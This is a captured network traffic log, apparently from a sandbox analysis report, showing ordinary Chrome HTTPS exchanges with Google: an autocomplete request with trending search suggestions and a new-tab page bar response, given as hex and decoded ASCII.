2024-10-29 16:59:21 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49778	142.250.185.132	443	364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:21 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 16:59:22 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:21 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-XCFvwGYjpUaNtFQFupwNTQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 16:59:22 UTC	112	IN	Data Raw: 64 33 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 61 74 74 20 72 65 6d 70 65 22 2c 22 61 6e 69 6d 61 6c 20 63 72 6f 73 73 69 6e 67 20 70 6f 63 6b 65 74 20 63 61 6d 70 20 63 6f 6d 70 6c 65 74 65 22 2c 22 62 6c 61 63 6b 20 6f 70 73 20 7a 6f 6d 62 69 65 73 20 62 65 73 74 20 67 75 6e 73 22 2c 22 74 61 72 67 65 74 20 74 68 61 6e 6b 73 67 Data Ascii: d3c)]}'["",["matt rempe","animal crossing pocket camp complete","black ops zombies best guns","target thanksg
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 69 76 69 6e 67 20 6d 65 61 6c 20 64 65 61 6c 22 2c 22 68 75 72 72 69 63 61 6e 65 73 20 74 72 6f 70 69 63 61 6c 20 73 74 6f 72 6d 73 22 2c 22 6c 61 6b 65 72 73 20 76 73 20 70 68 6f 65 6e 69 78 20 73 75 6e 73 20 62 6f 78 20 73 63 6f 72 65 22 2c 22 74 65 6b 6b 65 6e 20 38 20 75 70 64 61 74 65 20 70 61 74 63 68 20 6e 6f 74 65 73 22 2c 22 78 65 6e 6f 62 6c 61 64 65 20 63 68 72 6f 6e 69 63 6c 65 73 20 78 20 73 77 69 74 63 68 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 Data Ascii: iving meal deal","hurricanes tropical storms","lakers vs phoenix suns box score","tekken 8 update patch notes","xenoblade chronicles x switch"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVH
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 65 58 5a 73 61 48 4e 5a 56 44 4a 33 5a 57 35 51 63 44 49 33 53 48 5a 78 57 44 4e 75 65 57 31 31 65 6c 5a 31 62 33 6c 77 52 56 4e 78 54 55 52 36 65 44 4d 77 5a 58 42 59 56 57 52 33 57 58 70 42 4d 54 4a 74 4d 56 6c 76 61 6e 52 35 64 7a 4a 47 53 57 31 43 53 33 4a 6e 52 57 6f 35 64 45 5a 33 59 6e 4a 69 4f 48 4e 79 53 56 56 4e 57 57 5a 51 55 48 41 34 51 54 5a 48 63 44 42 72 64 54 4a 6d 54 47 70 43 51 58 68 72 4e 56 42 69 56 48 56 69 59 6a 6c 32 63 43 74 53 52 33 46 30 54 55 70 34 61 47 64 55 62 47 74 51 65 44 63 32 55 6e 68 48 63 6c 64 36 55 47 4a 75 5a 6e 4a 52 4d 6a 59 35 62 54 4e 46 57 6c 68 6c 64 58 42 44 61 6d 70 49 64 57 52 4f 59 56 5a 6f 63 6d 78 48 57 6d 31 6f 57 6b 4e 5a 52 47 64 49 54 31 4e 4f 56 47 30 31 62 45 70 77 53 31 52 70 55 30 31 77 53 45 4e Data Ascii: eXZsaHNZVDJ3ZW5QcDI3SHZxWDNueW11elZ1b3lwRVNxTUR6eDMwZXBYVWR3WXpBMTJtMVlvanR5dzJGSW1CS3JnRWo5dEZ3YnJiOHNySVVNWWZQUHA4QTZHcDBrdTJmTGpCQXhrNVBiVHViYjl2cCtSR3F0TUp4aGdUbGtQeDc2UnhHcld6UGJuZnJRMjY5bTNFWlhldXBDampIdWROYVZocmxHWm1oWkNZRGdIT1NOVG01bEpwS1RpU01wSEN
2024-10-29 16:59:22 UTC	527	IN	Data Raw: 42 48 61 6e 46 61 63 6b 52 49 64 54 4e 55 4e 6b 77 72 62 58 56 70 63 47 49 7a 56 56 59 76 64 30 4e 4c 55 31 64 58 55 31 52 79 56 6b 5a 6e 53 30 46 4c 4d 6c 6c 6e 5a 6d 4a 51 4f 45 46 74 4b 32 52 4a 4f 54 6b 79 55 30 68 34 54 6e 51 31 62 6e 52 43 4e 54 6c 36 61 56 56 4d 51 6a 42 31 64 6c 56 6a 4f 54 42 51 4d 45 52 42 4b 79 74 6a 59 54 5a 74 54 57 31 61 64 7a 56 72 56 6e 5a 50 4f 54 42 79 59 32 4e 6a 65 47 64 73 64 58 68 55 4d 47 6c 70 55 31 46 78 56 6d 46 50 55 55 31 51 55 57 35 32 65 43 73 72 63 6b 74 76 54 6a 6b 79 62 6e 64 71 55 33 56 58 5a 44 68 6f 63 44 46 5a 63 57 4e 50 52 57 6c 79 54 45 70 4c 64 56 5a 48 52 54 64 6a 62 6d 35 49 5a 6c 4a 32 5a 32 35 33 54 6e 52 31 4d 57 39 69 59 6e 6c 36 56 32 35 6a 62 6b 56 4e 62 7a 5a 56 61 6b 39 4e 52 55 31 75 57 Data Ascii: BHanFackRIdTNUNkwrbXVpcGIzVVYvd0NLU1dXU1RyVkZnS0FLMllnZmJQOEFtK2RJOTkyU0h4TnQ1bnRCNTl6aVVMQjB1dlVjOTBQMERBKytjYTZtTW1adzVrVnZPOTByY2NjeGdsdXhUMGlpU1FxVmFPUU1QUW52eCsrcktvTjkybndqU3VXZDhocDFZcWNPRWlyTEpLdVZHRTdjbm5IZlJ2Z253TnR1MW9iYnl6V25jbkVNbzZVak9NRU1uW
2024-10-29 16:59:22 UTC	92	IN	Data Raw: 35 36 0d 0a 30 55 44 4a 34 4f 44 5a 5a 4d 55 78 68 57 6a 42 6f 65 57 5a 4e 59 6c 56 4c 4d 6d 56 32 64 44 49 76 64 30 45 33 4f 48 68 53 64 56 42 6e 64 6d 5a 4d 65 57 59 7a 5a 58 42 45 55 32 64 69 51 6c 64 31 53 6d 63 7a 62 47 5a 42 4f 58 52 4d 4e 69 38 35 62 6c 63 72 4d 0d 0a Data Ascii: 560UDJ4ODZZMUxhWjBoeWZNYlVLMmV2dDIvd0E3OHhSdVBndmZMeWYzZXBEU2diQld1SmczbGZBOXRMNi85blcrM
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 39 39 36 0d 0a 58 4e 7a 62 31 56 31 56 47 35 78 4e 6a 45 76 4e 7a 45 79 55 57 35 54 5a 56 4d 78 59 58 59 33 61 46 42 56 62 33 6c 44 51 33 5a 58 53 56 64 6c 65 44 42 6f 62 55 78 72 57 6a 5a 46 51 6a 51 30 51 6b 64 54 59 7a 6b 34 5a 6c 70 36 56 6d 4e 5a 65 45 6c 79 52 31 68 4e 4c 79 38 79 55 54 30 39 4f 67 70 4e 59 58 52 30 49 46 4a 6c 62 58 42 6c 53 67 63 6a 4d 6a 41 79 4f 44 67 78 55 6a 6c 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 56 6c 41 78 65 6d 4d 77 56 45 4e 30 53 30 77 77 4c 54 4a 4e 52 46 46 36 57 56 42 55 61 58 6c 72 4d 48 4e 4c 56 6b 56 76 55 33 4d 77 64 46 4e 42 56 55 46 69 4e 32 4e 4a 59 58 64 77 42 6e 41 48 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a Data Ascii: 996XNzb1V1VG5xNjEvNzEyUW5TZVMxYXY3aFBVb3lDQ3ZXSVdleDBobUxrWjZFQjQ0QkdTYzk4Zlp6VmNZeElyR1hNLy8yUT09OgpNYXR0IFJlbXBlSgcjMjAyODgxUjlnc19zc3A9ZUp6ajR0VlAxemMwVEN0S0wwLTJNRFF6WVBUaXlrMHNLVkVvU3MwdFNBVUFiN2NJYXdwBnAH","zl":10002},{"zl":10002},{"zl":10002},{"z
2024-10-29 16:59:22 UTC	1083	IN	Data Raw: 63 57 68 78 56 31 5a 45 4d 55 46 61 53 47 56 50 56 44 52 44 5a 32 4d 72 62 32 70 75 53 46 5a 31 55 6d 31 79 61 54 46 6b 52 6d 64 35 5a 6a 5a 70 61 58 70 44 61 47 78 75 59 56 42 53 53 57 6f 32 5a 57 31 45 5a 6c 5a 6a 57 45 5a 71 4f 45 67 34 56 33 64 6d 53 33 46 35 63 6e 70 48 57 54 46 47 4d 56 4e 70 56 57 46 56 63 33 59 34 51 57 4d 7a 5a 47 68 6d 61 47 5a 69 4d 33 68 75 54 46 70 32 51 33 41 77 64 33 68 54 5a 6c 70 48 57 55 4e 57 64 46 52 78 4e 32 4e 48 55 6c 64 32 64 48 46 51 64 48 4e 6b 64 6d 4a 48 63 6c 56 71 64 31 4e 56 63 30 77 77 64 57 35 76 54 57 64 4e 5a 57 35 71 56 47 4a 68 4d 6b 78 61 59 56 56 79 55 7a 4e 4e 4c 30 46 7a 63 33 4e 70 61 47 74 35 57 48 42 57 4f 48 56 32 5a 6a 63 79 55 56 4a 78 53 45 77 79 52 32 38 35 4f 47 4e 75 61 6b 31 7a 54 48 68 Data Ascii: cWhxV1ZEMUFaSGVPVDRDZ2Mrb2puSFZ1Um1yaTFkRmd5ZjZpaXpDaGxuYVBSSWo2ZW1EZlZjWEZqOEg4V3dmS3F5cnpHWTFGMVNpVWFVc3Y4QWMzZGhmaGZiM3huTFp2Q3Awd3hTZlpHWUNWdFRxN2NHUld2dHFQdHNkdmJHclVqd1NVc0wwdW5vTWdNZW5qVGJhMkxaYVVyUzNNL0Fzc3NpaGt5WHBWOHV2ZjcyUVJxSEwyR285OGNuak1zTHh
2024-10-29 16:59:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49781	142.250.185.132	443	364	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:22 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 16:59:22 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 29 Oct 2024 16:59:22 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-29 16:59:22 UTC	336	IN	Data Raw: 32 31 34 39 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2149)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 35 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700305,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-29 16:59:22 UTC	1303	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-29 16:59:22 UTC	379	IN	Data Raw: 31 37 34 0d 0a 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 6d 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b Data Ascii: 174d)if(a instanceof _.Yd)a\u003da.i;else throw Error(\"F\");else a\u003d_.me(a);return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);
2024-10-29 16:59:22 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 63 65 28 Data Ascii: 8000b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunction(a,b,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return 